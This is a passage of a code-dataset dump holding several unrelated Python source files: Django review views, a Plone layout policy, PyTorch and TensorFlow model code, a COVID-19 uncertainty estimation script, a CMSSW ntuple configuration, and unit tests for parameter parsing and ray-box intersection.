review_id=review.id)\n\n def get_queryset(self):\n review_id = self.kwargs['review_id']\n title_id = self.kwargs['title_id']\n review = get_object_or_404(Review, title__id=title_id, pk=review_id)\n return review.comments.all()\n\n\nclass ReviewViewSet(viewsets.ModelViewSet):\n serializer_class = ReviewSerializers\n permission_classes = [permissions.IsAuthenticatedOrReadOnly,\n IsAuthorModerAdmin]\n\n def perform_create(self, serializer):\n title_id = self.kwargs['title_id']\n title = get_object_or_404(Title, id=title_id)\n serializer.save(author=self.request.user, title=title)\n\n def get_queryset(self):\n title_id = self.kwargs['title_id']\n title = get_object_or_404(Title, pk=title_id)\n return title.reviews.all()\n","sub_path":"reviews/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"435662103","text":"from zope.interface import implements\nfrom zope.component import getMultiAdapter\nfrom zope.component import queryUtility\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\nfrom plone.i18n.normalizer.interfaces import IIDNormalizer\nfrom plone.app.layout.globals.interfaces import ILayoutPolicy\nfrom plone.app.layout.globals.layout import LayoutPolicy\nfrom plone.app.layout.navigation.root import getNavigationRootObject\nfrom Products.CMFPlone.interfaces import IPloneSiteRoot\nfrom Products.CMFPlone import utils\n\n\nclass LayoutPolicy(LayoutPolicy):\n \"\"\"Override the body class method to show the nav roots\n \"\"\"\n implements(ILayoutPolicy)\n\n def _findNavRoots(self, navroot, portal):\n \"\"\"Find all the nav roots going up the tree\n \"\"\"\n navroot_ids = []\n while True:\n if navroot.meta_type == 'Plone Site':\n break\n navroot_ids.append(navroot.getId())\n navroot = getNavigationRootObject(utils.parent(navroot), portal)\n navroot_ids.reverse()\n return navroot_ids\n\n def bodyClass(self, template, view):\n \"\"\"Returns the CSS class to be used on the body tag.\n \"\"\"\n context = self.context\n portal_state = getMultiAdapter(\n (context, self.request), name=u'plone_portal_state')\n\n # template class (required)\n name = ''\n if isinstance(template, ViewPageTemplateFile):\n # Browser view\n name = view.__name__\n else:\n name = template.getId()\n body_class = 'template-%s' % name\n\n # portal type class (optional)\n normalizer = queryUtility(IIDNormalizer)\n portal_type = normalizer.normalize(context.portal_type)\n if portal_type:\n body_class += \" portaltype-%s\" % portal_type\n\n # section class (optional)\n navroot = portal_state.navigation_root()\n navroot_len = len(navroot.getPhysicalPath())\n contentPath = context.getPhysicalPath()[navroot_len:]\n if contentPath:\n body_class += \" section-%s\" % contentPath[0]\n\n # Add each nav root to the body class\n navroot_ids = self._findNavRoots(navroot, portal_state.portal())\n if navroot_ids:\n body_class += \" navroot-\" + \" navroot-\".join(navroot_ids)\n\n # class for hiding icons (optional)\n if self.icons_visible():\n body_class += ' icons-on'\n\n return body_class\n","sub_path":"plonetheme/simplecolor/browser/layoutpolicy.py","file_name":"layoutpolicy.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"5210131","text":"from torch_geometric.data import DataLoader\nfrom utils.CustomDataSet import SelectGraph, SceneGraphs\nfrom classification.Graph_AE_MK2 import Net\nfrom classification.Classifier import MLP\nimport utils.Display_Plot as dp\nimport torch\n\ndevice = torch.device('cuda')\n\nnum_epoch = 100\nbatch_size = 200\ncomp_model = Net.get_instance().to(device)\ncfy_model = MLP.get_instance().to(device)\n\nSelectGraph.data_name = 'Shana10k'\ndata_set_Shana = SelectGraph('data/' + SelectGraph.data_name)\ntrain_set = DataLoader(data_set_Shana[:5000], 500, shuffle=True)\n\nSelectGraph.data_name = 'Shana7000'\ndata_set_Shana = SelectGraph('data/' + SelectGraph.data_name)\ntrain_set2 = DataLoader(data_set_Shana[5000:6000], 1000, shuffle=False)\ntest_set = DataLoader(data_set_Shana[6000:7000], 1000, shuffle=False)\n\nm_name = \"GAE_TRANSFER_MK2.ckpt\"\ndata_list1, group1, group2 = comp_model.train_model(train_set, train_set2, test_set, num_epoch, m_name)\ntrain_set = None\ndata_list2 = cfy_model.train_model(train_set2, test_set, int(num_epoch), group1, group2)\n\ntitle = \"GAE TRANSFER\"\nlabels = ['MSE Loss', 'Num Nodes', 'Total Loss', title]\ndp.display(data_list1, num_epoch, labels, title)\nlabels = ['Train Loss', 'Train Acc', title, 'Test Acc']\ndp.display(data_list2, int(num_epoch), labels, title)\n","sub_path":"train/Train_MK2.py","file_name":"Train_MK2.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"218370297","text":"import argparse\nimport torch\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom PIL import Image\nimport torchvision\nfrom torch.nn import functional as F\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport data as dat\nfrom main_bayesian import getModel\nimport config_bayesian as cfg\n\n\n# CUDA settings\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\ncovid19_set = None\nnotcovid19_set = None\n\ntransform_covid19 = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ])\n\n\ndef init_dataset(notcovid19_dir):\n transform_covid19 = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ])\n global covid19_set\n global notcovid19_set\n covid19_set, _, _, _ = dat.getDataset('covid19')\n #covid19_set = torchvision.datasets(covid19_set)\n notcovid19_set = torchvision.datasets.ImageFolder(root=\"./covid-chestxray-dataset/output/fruit/\", transform=transform_covid19)\n\n # covid19_set = [x[0] for x in covid19_set]\n # covid19_set = covid19_set[:]\n # covid19_set = torch.FloatTensor(covid19_set)\n #\n # notcovid19_set = [x[0] for x in notcovid19_set]\n # notcovid19_set = notcovid19_set[:]\n # notcovid19_set = torch.FloatTensor(notcovid19_set)\n # print(covid19_set)\n # print(notcovid19_set)\n #\n # torch.reshape(covid19_set, (224, 224, 3))\n # torch.reshape(notcovid19_set, (224, 224, 3))\n\n\n\ndef get_uncertainty_per_image(model, input_image, T=15, normalized=False):\n #input_image = input_image.unsqueeze(0)\n input_images = input_image.repeat(T, 1, 1, 1)\n\n net_out, ap = model(input_images)\n #print(net_out,ap)\n pred = torch.mean(net_out, dim=0).cpu().detach().numpy()\n if normalized:\n prediction = F.softplus(net_out)\n p_hat = prediction / torch.sum(prediction, dim=1).unsqueeze(1)\n else:\n p_hat = F.softmax(net_out, dim=1)\n p_hat = p_hat.detach().cpu().numpy()\n p_bar = np.mean(p_hat, axis=0)\n\n temp = p_hat - np.expand_dims(p_bar, 0)\n epistemic = np.dot(temp.T, temp) / T\n epistemic = np.diag(epistemic)\n\n aleatoric = np.diag(p_bar) - (np.dot(p_hat.T, p_hat) / T)\n aleatoric = np.diag(aleatoric)\n\n return pred, epistemic, aleatoric\n\n\ndef get_uncertainty_per_batch(model, batch, T=15, normalized=False):\n batch_predictions = []\n net_outs = []\n batches = batch.unsqueeze(0).repeat(T, 1, 1, 1, 1)\n\n preds = []\n epistemics = []\n aleatorics = []\n \n for i in range(T): # for T batches\n net_out, _ = model(batches[i].cuda())\n net_outs.append(net_out)\n if normalized:\n prediction = F.softplus(net_out)\n prediction = prediction / torch.sum(prediction, dim=1).unsqueeze(1)\n else:\n prediction = F.softmax(net_out, dim=1)\n batch_predictions.append(prediction)\n \n for sample in range(batch.shape[0]):\n # for each sample in a batch\n pred = torch.cat([a_batch[sample].unsqueeze(0) for a_batch in net_outs], dim=0)\n pred = torch.mean(pred, dim=0)\n preds.append(pred)\n\n p_hat = torch.cat([a_batch[sample].unsqueeze(0) for a_batch in batch_predictions], dim=0).detach().cpu().numpy()\n p_bar = np.mean(p_hat, axis=0)\n\n temp = p_hat - np.expand_dims(p_bar, 0)\n epistemic = np.dot(temp.T, temp) / T\n epistemic = np.diag(epistemic)\n epistemics.append(epistemic)\n\n aleatoric = np.diag(p_bar) - (np.dot(p_hat.T, p_hat) / T)\n aleatoric = np.diag(aleatoric)\n aleatorics.append(aleatoric)\n\n epistemic = np.vstack(epistemics) # (batch_size, categories)\n aleatoric = np.vstack(aleatorics) # (batch_size, categories)\n preds = torch.cat([i.unsqueeze(0) for i in preds]).cpu().detach().numpy() # (batch_size, categories)\n\n return preds, epistemic, aleatoric\n\n\ndef get_sample(dataset, sample_type='covid19'):\n idx = np.random.randint(len(dataset.targets))\n if sample_type=='covid19':\n datasetlist = [x[0] for x in dataset]\n sample = datasetlist[idx]\n #sample = dataset[idx]\n truth = dataset.targets[idx]\n else:\n path, truth = dataset.samples[idx]\n sample = torch.from_numpy(np.array(Image.open(path)))\n\n\n sample = sample.unsqueeze(0)\n #sample = transform_covid19(sample)\n return sample.to(device), truth, idx\n\n\n\ndef run(net_type, weight_path, notcovid19_dir):\n\n\n\n init_dataset(notcovid19_dir)\n\n layer_type = cfg.layer_type\n activation_type = cfg.activation_type\n\n trainset, testset, inputs, outputs = dat.getDataset('covid19')\n\n net = getModel(net_type, inputs, outputs, priors=None, layer_type=layer_type, activation_type=activation_type)\n net.load_state_dict(torch.load(weight_path))\n net.train()\n net.to(device)\n\n fig = plt.figure()\n fig.suptitle('Uncertainty Estimation', fontsize='x-large')\n covid19_img = fig.add_subplot(321)\n notcovid19_img = fig.add_subplot(322)\n epi_stats_norm = fig.add_subplot(323)\n ale_stats_norm = fig.add_subplot(324)\n epi_stats_soft = fig.add_subplot(325)\n ale_stats_soft = fig.add_subplot(326)\n\n sample_covid19, truth_covid19, idx = get_sample(covid19_set)\n sample_covid19_see = sample_covid19\n\n pred_covid19, epi_covid19_norm, ale_covid19_norm = get_uncertainty_per_image(net, sample_covid19, T=25, normalized=True)\n pred_covid19, epi_covid19_soft, ale_covid19_soft = get_uncertainty_per_image(net, sample_covid19, T=25, normalized=False)\n\n sample_covid19.squeeze().cpu()\n\n image19 = np.array(sample_covid19_see.squeeze().cpu())\n shape_image19 = np.shape(image19)\n #image19 = np.reshape(image19, [shape_image19[1], shape_image19[2], shape_image19[0]])\n image19 = np.reshape(image19, [224, 224, 3])\n\n image19 = [image19[0]*0.229 + 0.485, image19[1]*0.229 + 0.456, image19[2]*0.225 + 0.406]\n\n\n covid19_img.imshow(image19)\n #covid19_img.imshow(sample_covid19_see.squeeze().cpu())\n covid19_img.axis('off')\n covid19_img.set_title('covid19 Truth: {} Prediction: {}'.format(int(truth_covid19), int(np.argmax(pred_covid19))))\n\n sample_notcovid19, truth_notcovid19, idx = get_sample(notcovid19_set, sample_type='covid19')\n sample_notcovid19_see = sample_notcovid19\n\n pred_notcovid19, epi_notcovid19_norm, ale_notcovid19_norm = get_uncertainty_per_image(net, sample_notcovid19, T=25, normalized=True)\n pred_notcovid19, epi_notcovid19_soft, ale_notcovid19_soft = get_uncertainty_per_image(net, sample_notcovid19, T=25, normalized=False)\n\n sample_notcovid19.squeeze().cpu()\n imagen19 = np.array(sample_notcovid19_see.squeeze().cpu())\n shape_imagen19 = np.shape(imagen19)\n #imagen19 = np.reshape(imagen19, [shape_imagen19[1], shape_imagen19[2], shape_imagen19[0]])\n imagen19 = np.reshape(imagen19, [224, 224, 3])\n\n imagen19 = [imagen19[0] * 0.229 + 0.485, imagen19[1] * 0.229 + 0.456, imagen19[2] * 0.225 + 0.406]\n\n notcovid19_img.imshow(imagen19)\n #notcovid19_img.imshow(sample_notcovid19.squeeze().cpu())\n notcovid19_img.axis('off')\n notcovid19_img.set_title('notcovid19 Truth: {}({}) Prediction: {}({})'.format(\n int(truth_notcovid19), chr(65 + truth_notcovid19), int(np.argmax(pred_notcovid19)), chr(65 + np.argmax(pred_notcovid19))))\n\n x = list(range(2))\n data = pd.DataFrame({\n 'epistemic_norm': np.hstack([epi_covid19_norm, epi_notcovid19_norm]),\n 'aleatoric_norm': np.hstack([ale_covid19_norm, ale_notcovid19_norm]),\n 'epistemic_soft': np.hstack([epi_covid19_soft, epi_notcovid19_soft]),\n 'aleatoric_soft': np.hstack([ale_covid19_soft, ale_notcovid19_soft]),\n 'category': np.hstack([x, x]),\n 'dataset': np.hstack([['covid19']*2, ['notcovid19']*2])\n })\n print(data)\n sns.barplot(x='category', y='epistemic_norm', hue='dataset', data=data, ax=epi_stats_norm)\n sns.barplot(x='category', y='aleatoric_norm', hue='dataset', data=data, ax=ale_stats_norm)\n epi_stats_norm.set_title('Epistemic Uncertainty (Normalized)')\n ale_stats_norm.set_title('Aleatoric Uncertainty (Normalized)')\n\n sns.barplot(x='category', y='epistemic_soft', hue='dataset', data=data, ax=epi_stats_soft)\n sns.barplot(x='category', y='aleatoric_soft', hue='dataset', data=data, ax=ale_stats_soft)\n epi_stats_soft.set_title('Epistemic Uncertainty (Softmax)')\n ale_stats_soft.set_title('Aleatoric Uncertainty (Softmax)')\n\n plt.show()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description = \"PyTorch Uncertainty Estimation b/w covid19 and notcovid19\")\n parser.add_argument('--net_type', default='alexnet', type=str, help='model')\n parser.add_argument('--weights_path', default='/fridge/bcnncov19/checkpoints/covid19/bayesian/model_alexnet_lrt_softplus.pt', type=str, help='weights for model')\n parser.add_argument('--notcovid19_dir', default=\"./covid-chestxray-dataset/output/xray/noncovidxray/\", type=str, help='weights for model')\n args = parser.parse_args()\n\n run(args.net_type, args.weights_path, args.notcovid19_dir)\n","sub_path":"uncertainty_estimation_covid19.py","file_name":"uncertainty_estimation_covid19.py","file_ext":"py","file_size_in_byte":9319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"558325725","text":"# Create a variable named \"name\" with value equal to default, only if such a variable is not yet defined.\n\ndef declareDefault(name, default, glb):\n if name not in glb:\n glb[name]=default\n\n#declareDefault(\"OUTPUTPATH\", '/data/DATA/temp_pigard/eID/new_ntup_test/ggH_MINIAODSIM_Chunk0/', globals())\ndeclareDefault(\"OUTPUTPATH\", '/home/llr/cms/pigard/EGM/NT_vs_T_MVA/new_ntup/CMSSW_7_6_4/src/Analyzer/Ntuplizer/python/', globals())\n\nimport FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"Demo\")\n\nprocess.dump=cms.EDAnalyzer('EventContentAnalyzer')\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\n\n\n\n# loads from CJLST\nprocess.load(\"Configuration.StandardSequences.GeometryDB_cff\")\nprocess.load(\"Configuration.StandardSequences.MagneticField_38T_cff\")\nprocess.load(\"TrackingTools.TransientTrack.TransientTrackBuilder_cfi\")\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_condDBv2_cff\")\n\nprocess.options = cms.untracked.PSet( wantSummary = cms.untracked.bool(True) )\n\nfrom PhysicsTools.SelectorUtils.tools.vid_id_tools import *\n# turn on VID producer, indicate data format to be\n# DataFormat.AOD or DataFormat.MiniAOD, as appropriate \nfileFormat = 'miniAOD'\n\nif fileFormat == 'AOD' :\n dataFormat = DataFormat.AOD\nelse :\n dataFormat = DataFormat.MiniAOD\n\nswitchOnVIDElectronIdProducer(process, dataFormat)\nswitchOnVIDPhotonIdProducer(process, dataFormat)\n\n# define which IDs we want to produce\nmy_id_modules = [\n 'RecoEgamma.ElectronIdentification.Identification.mvaElectronID_Spring15_25ns_Trig_V1_cff',\n 'RecoEgamma.ElectronIdentification.Identification.mvaElectronID_Spring15_25ns_nonTrig_V1_cff',\n ]\n\n#add them to the VID producer\nfor idmod in my_id_modules:\n setupAllVIDIdsInModule(process,idmod,setupVIDElectronSelection)\n\nswitchOnVIDPhotonIdProducer(process, dataFormat)\n# define which IDs we want to produce\nmy_id_modules = [\n 'RecoEgamma.PhotonIdentification.Identification.mvaPhotonID_Spring15_25ns_nonTrig_V2_cff',\n 'RecoEgamma.PhotonIdentification.Identification.mvaTLEID_Fall15_V1_cff',\n ]\n\n#add them to the VID producer\nfor idmod in my_id_modules:\n setupAllVIDIdsInModule(process,idmod,setupVIDPhotonSelection)\n\n\n# Setup ISO calculation\nfrom RecoEgamma.EgammaIsolationAlgos.egmPhotonIsolationMiniAOD_cff import egmPhotonIsolationMiniAOD\n\nprocess.egmPhotonIsolationMiniAOD = egmPhotonIsolationMiniAOD.clone()\n\n\n#process.TFileService = cms.Service(\"TFileService\", fileName = cms.string('/data/DATA/temp_pigard/eID/') )\n\ntle_ntuple = cms.EDAnalyzer('Ntuplizer',\n inputFileFormat = cms.untracked.string(fileFormat),\n outputPath = cms.string(OUTPUTPATH), #process.TFileService.fileName,\n outputFile = cms.string('TLE'),\n beamSpot = cms.InputTag('offlineBeamSpot'),\n # input collection names AOD\n electronsAOD = cms.InputTag('gedGsfElectrons'),\n verticesAOD = cms.InputTag('offlinePrimaryVertices'),\n conversionsAOD = cms.InputTag('allConversions'),\n genParticlesAOD = cms.InputTag('genParticles'), \n genEventInfoProductAOD = cms.InputTag('generator'),\n PFMETAOD = cms.InputTag('pfMet'), \n ebReducedRecHitCollectionAOD = cms.InputTag(\"reducedEcalRecHitsEB\"),\n eeReducedRecHitCollectionAOD = cms.InputTag(\"reducedEcalRecHitsEE\"),\n esReducedRecHitCollectionAOD = cms.InputTag(\"reducedEcalRecHitsES\"),\n \n electronsMiniAOD = cms.InputTag('slimmedElectrons'),\n photonsMiniAOD = cms.InputTag('slimmedPhotons'),\n verticesMiniAOD = cms.InputTag('offlineSlimmedPrimaryVertices'),\n conversionsMiniAOD = cms.InputTag('reducedEgamma:reducedConversions'),\n genParticlesMiniAOD = cms.InputTag('prunedGenParticles'), \n genEventInfoProductMiniAOD = cms.InputTag('generator'),\n PFMETMiniAOD = cms.InputTag('slimmedMETs'), \n ebReducedRecHitCollectionMiniAOD = cms.InputTag(\"reducedEgamma:reducedEBRecHits\"),\n eeReducedRecHitCollectionMiniAOD = cms.InputTag(\"reducedEgamma:reducedEERecHits\"),\n esReducedRecHitCollectionMiniAOD = cms.InputTag(\"reducedEgamma:reducedESRecHits\"),\n\n HLTTag = cms.InputTag('TriggerResults','','HLT'),\n isMC = cms.bool(True),\n do_signal = cms.bool(True),\n do_TLE = cms.bool(True),\n do_min_dR_cut = cms.bool(True),\n MVAId = cms.VInputTag(),\n ID1_use_userFloat = cms.bool(False),\n electronID1 = cms.string(\"ElectronMVAEstimatorRun2Spring15NonTrig25nsV1\"),\n electronID2 = cms.string(\"ElectronMVAEstimatorRun2Spring15Trig25nsV1\"),\n #electronID2 = cms.string(\"ElectronMVAEstimatorRun2Spring15NonTrigvClassic25nsV1\"),\n electronID1_pass = cms.InputTag(\"egmGsfElectronIDs:mvaEleID-Spring15-25ns-nonTrig-V1-wp90\"),\n electronID2_pass = cms.InputTag(\"egmGsfElectronIDs:mvaEleID-Spring15-25ns-nonTrig-V1-wp90\"),\n\n photonID1 = cms.string(\"PhotonMVAEstimatorRun2Spring15NonTrig25nsV2\"),\n photonID2 = cms.string(\"TLEMVAEstimatorRun2Fall15V1\"),\n\n)\n\nprocess.tle_signal = tle_ntuple.clone()\nprocess.tle_signal.do_signal = cms.bool(True)\n\nprocess.tle_background = tle_ntuple.clone()\nprocess.tle_background.do_signal = cms.bool(False)\n\ntle_ntuple.outputFile = cms.string('REG')\ntle_ntuple.do_TLE = cms.bool(False)\n\nprocess.reg_signal = tle_ntuple.clone()\nprocess.reg_signal.do_signal = cms.bool(True)\n\nprocess.reg_background = tle_ntuple.clone()\nprocess.reg_background.do_signal = cms.bool(False)\n\n\n\nfileNameForSample = 'ntuple'\n\n\n#process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(100) )\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )\n\nprocess.source = cms.Source(\"PoolSource\",\n# fileNames = cms.untracked.vstring('file:/data_CMS/cms/davignon/Trigger_WithThomas/CMSSW_7_6_0_pre7/src/L1Trigger/L1TNtuples/00BEC5EF-1472-E511-806C-02163E0141EA.root')\nfileNames = cms.untracked.vstring(\n'/store/mc/RunIIFall15DR76/DYJetsToLL_M-50_TuneCUETP8M1_13TeV-madgraphMLM-pythia8/AODSIM/PU25nsData2015v1_76X_mcRun2_asymptotic_v12-v1/00000/08DC4220-16A7-E511-AF59-1CC1DE19286E.root'\n#'/store/mc/RunIIFall15MiniAODv2/GluGluHToZZTo4L_M125_13TeV_powheg2_JHUgenV6_pythia8/MINIAODSIM/PU25nsData2015v1_76X_mcRun2_asymptotic_v12-v1/50000/0AFC3AB4-96B9-E511-AE01-5065F3817221.root',\n#'/store/mc/RunIIFall15MiniAODv2/GluGluHToZZTo4L_M125_13TeV_powheg2_JHUgenV6_pythia8/MINIAODSIM/PU25nsData2015v1_76X_mcRun2_asymptotic_v12-v1/50000/06A78A71-97B9-E511-A22A-24BE05C3CBD1.root',\n\n\n)\n\n)\n \nfrom Configuration.AlCa.GlobalTag_condDBv2 import GlobalTag\nprocess.GlobalTag = GlobalTag(process.GlobalTag, '76X_mcRun2_asymptotic_v12', '') # MCRUN2_74_V8\n\nprocess.TFileService = cms.Service(\"TFileService\", fileName = cms.string(fileNameForSample + '.root') )\n\nprocess.MessageLogger.cerr.threshold = 'WARNING'\nprocess.MessageLogger.categories.append('Demo')\nprocess.MessageLogger.cerr.INFO = cms.untracked.PSet(\n limit = cms.untracked.int32(-1)\n)\nprocess.MessageLogger = cms.Service(\n \"MessageLogger\",\n destinations = cms.untracked.vstring(\n 'LOG',\n 'critical'\n ),\n LOG = cms.untracked.PSet(\n threshold = cms.untracked.string('ERROR'), # DEBUG \n filename = cms.untracked.string(fileNameForSample + '.log')\n ),\n debugModules = cms.untracked.vstring('*'),\n \n statistics = cms.untracked.vstring('STAT'),\n STAT = cms.untracked.PSet(\n threshold = cms.untracked.string('WARNING'),\n filename = cms.untracked.string(fileNameForSample + '_stats.log')\n )\n)\n\nprocess.p = cms.Path(process.egmPhotonIDSequence * process.electronMVAValueMapProducer * process.egmPhotonIsolationMiniAOD \n* process.reg_signal * process.reg_background\n* process.tle_signal * process.tle_background)#*process.dump)\n","sub_path":"Ntuplizer/python/run_cfg.py","file_name":"run_cfg.py","file_ext":"py","file_size_in_byte":8906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"386503277","text":"import tensorflow as tf\r\nimport numpy as np\r\n\r\nepsilon = 1e-14\r\n\r\ndef conv(name, inputs, nums_out, ksize, stride, padding=\"SAME\", is_SN=False):\r\n C = np.shape(inputs)[3]\r\n with tf.variable_scope(name):\r\n w = tf.get_variable(\"w\"+name, [ksize, ksize, C, nums_out], tf.float32, tf.truncated_normal_initializer(stddev=0.02))\r\n b = tf.get_variable(\"b\"+name, [nums_out], tf.float32, tf.constant_initializer(0))\r\n if is_SN:\r\n return tf.nn.conv2d(inputs, spectral_norm(name, w), [1, stride, stride, 1], padding) + b\r\n else:\r\n return tf.nn.conv2d(inputs, w, [1, stride, stride, 1], padding) + b\r\n\r\ndef deconv(name, inputs, nums_out, ksize, stride, padding=\"SAME\"):\r\n C = np.shape(inputs)[3]\r\n H = tf.shape(inputs)[1]\r\n W = tf.shape(inputs)[2]\r\n B = tf.shape(inputs)[0]\r\n with tf.variable_scope(name):\r\n w = tf.get_variable(\"w\" + name, [ksize, ksize, nums_out, C], tf.float32, tf.truncated_normal_initializer(stddev=0.02))\r\n b = tf.get_variable(\"b\" + name, [nums_out], tf.float32, tf.constant_initializer(0))\r\n return tf.nn.conv2d_transpose(inputs, w, [B, H*stride, W*stride, nums_out], [1, stride, stride, 1], padding) + b\r\n\r\ndef up_sample(name, inputs, nums_out, ksize, padding=\"SAME\"):\r\n C = np.shape(inputs)[3]\r\n H = np.shape(inputs)[1]\r\n W = np.shape(inputs)[2]\r\n inputs = tf.image.resize_nearest_neighbor(inputs, [H*2, W*2])\r\n with tf.variable_scope(name):\r\n w = tf.get_variable(\"w\" + name, [ksize, ksize, C, nums_out], tf.float32, tf.truncated_normal_initializer(stddev=0.02))\r\n b = tf.get_variable(\"b\" + name, [nums_out], tf.float32, tf.constant_initializer(0))\r\n return tf.nn.conv2d(inputs, w, [1, 1, 1, 1], padding) + b\r\n\r\ndef instance_norm(name, inputs):\r\n with tf.variable_scope(name):\r\n scale = tf.get_variable(\"scale\"+name, np.shape(inputs)[-1], initializer=tf.constant_initializer(1))\r\n shift = tf.get_variable(\"shift\"+name, np.shape(inputs)[-1], initializer=tf.constant_initializer(0))\r\n mu, var = tf.nn.moments(inputs, [1, 2], keep_dims=True)\r\n return scale * (inputs - mu) / tf.sqrt(var + epsilon) + shift\r\n\r\ndef spectral_norm(name, w, iteration=1):\r\n #Spectral normalization which was published on ICLR2018,please refer to \"https://www.researchgate.net/publication/318572189_Spectral_Normalization_for_Generative_Adversarial_Networks\"\r\n #This function spectral_norm is forked from \"https://github.com/taki0112/Spectral_Normalization-Tensorflow\"\r\n w_shape = w.shape.as_list()\r\n w = tf.reshape(w, [-1, w_shape[-1]])\r\n with tf.variable_scope(name, reuse=False):\r\n u = tf.get_variable(\"u\", [1, w_shape[-1]], initializer=tf.truncated_normal_initializer(), trainable=False)\r\n u_hat = u\r\n v_hat = None\r\n\r\n def l2_norm(v, eps=1e-12):\r\n return v / (tf.reduce_sum(v ** 2) ** 0.5 + eps)\r\n\r\n for i in range(iteration):\r\n v_ = tf.matmul(u_hat, tf.transpose(w))\r\n v_hat = l2_norm(v_)\r\n u_ = tf.matmul(v_hat, w)\r\n u_hat = l2_norm(u_)\r\n sigma = tf.matmul(tf.matmul(v_hat, w), tf.transpose(u_hat))\r\n w_norm = w / sigma\r\n with tf.control_dependencies([u.assign(u_hat)]):\r\n w_norm = tf.reshape(w_norm, w_shape)\r\n return w_norm\r\n\r\ndef fully_con(name, inputs, nums_out):\r\n inputs = tf.layers.flatten(inputs)\r\n C = np.shape(inputs)[1]\r\n with tf.variable_scope(name):\r\n W = tf.get_variable(\"w\"+name, [C, nums_out], initializer=tf.truncated_normal_initializer(stddev=0.02))\r\n b = tf.get_variable(\"b\"+name, [nums_out], initializer=tf.constant_initializer(0))\r\n return tf.matmul(inputs, W) + b\r\n\r\ndef leaky_relu(inputs, slope=0.2):\r\n return tf.maximum(inputs, slope * inputs)\r\n\r\ndef res_block(name, inputs, nums_out):\r\n with tf.variable_scope(name):\r\n temp = inputs\r\n inputs = tf.nn.relu(conv(\"c1\", inputs, nums_out, 3, 1))\r\n inputs = conv(\"c2\", inputs, nums_out, 3, 1)\r\n return temp + inputs\r\n\r\ndef attention_generate(X, A, F):\r\n Xa = A(X)\r\n Xf = X * Xa\r\n x2y = F(Xf)\r\n Xb = (1 - Xa) * X\r\n fake_Y = Xb + x2y * Xa\r\n return Xa, Xf, x2y, fake_Y\r\n\r\n\r\n\r\n\r\n","sub_path":"ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"560291316","text":"import pytest\nfrom twisted.web.test.requesthelper import DummyRequest\nfrom twisted.web.error import Error\n\nimport retwist\n\n\nclass DemoPage(retwist.ParamResource):\n\n id = retwist.Param(required=True)\n uuid = retwist.UUIDParam()\n show_details = retwist.BoolParam()\n def_param = retwist.BoolParam(name=\"def\")\n\n\ndef test_param_resource():\n\n request = DummyRequest(\"/\")\n request.addArg(b\"id\", b\"1234\")\n request.addArg(b\"show_details\", b\"false\")\n\n resource = DemoPage()\n args = resource.parse_args(request)\n assert args[\"id\"] == \"1234\"\n assert args[\"show_details\"] is False\n\n\ndef test_param_resource_override_name():\n\n request = DummyRequest(\"/\")\n request.addArg(b\"id\", b\"1234\")\n request.addArg(b\"def\", b\"true\")\n\n resource = DemoPage()\n args = resource.parse_args(request)\n assert args[\"def\"] is True\n\n\ndef test_param_resource_error():\n\n request = DummyRequest(\"/\")\n request.addArg(b\"id\", b\"1234\")\n request.addArg(b\"uuid\", b\"1234\")\n\n resource = DemoPage()\n\n with pytest.raises(Error) as exc_info:\n resource.parse_args(request)\n\n assert exc_info.value.message == retwist.ParamResource.ERROR_MSG % (b\"uuid\", retwist.UUIDParam.MALFORMED_ERROR_MSG)\n","sub_path":"tests/test_param_resource.py","file_name":"test_param_resource.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"250334689","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Mar 15 13:49:47 2015\r\n\r\n@author: Fahim\r\n\"\"\"\r\n\r\n''' \r\nTest Ray-Box Intersection\r\n\r\nTest for 8 corners\r\nTest for 6 planes\r\nTest for on one of the planes\r\nTest for on one of the corners\r\nTest shooting ray inside and outside\r\n'''\r\n\r\n\r\nimport unittest\r\nimport numpy as np\r\nimport numpy.testing as nptest\r\nfrom Intersectable import Box\r\nfrom Ray import Ray, IntersectionResult\r\nfrom TesterCommon import test_intersection_with_result, test_no_intersection\r\nimport GeomTransform as GT\r\n\r\nclass TestBoxAtOriginNoIntersectionWithRay(unittest.TestCase):\r\n ''' \r\n Test basic cases where the ray doesn't intersect the box\r\n Note: By eye (in the test_eye_* functions) we mean the ray origin.\r\n By viewing we mean ray direction.\r\n '''\r\n def setUp(self):\r\n self.minPoint = np.array([-.5, -.5, -.5])\r\n self.maxPoint = -self.minPoint\r\n self.center = (self.minPoint + self.maxPoint) / 2.\r\n self.box = Box({'min': self.minPoint, 'max': self.maxPoint})\r\n #print('center', self.center)\r\n \r\n def test_box_creation(self):\r\n ''' sanity check '''\r\n nptest.assert_array_equal(self.box.minPoint, 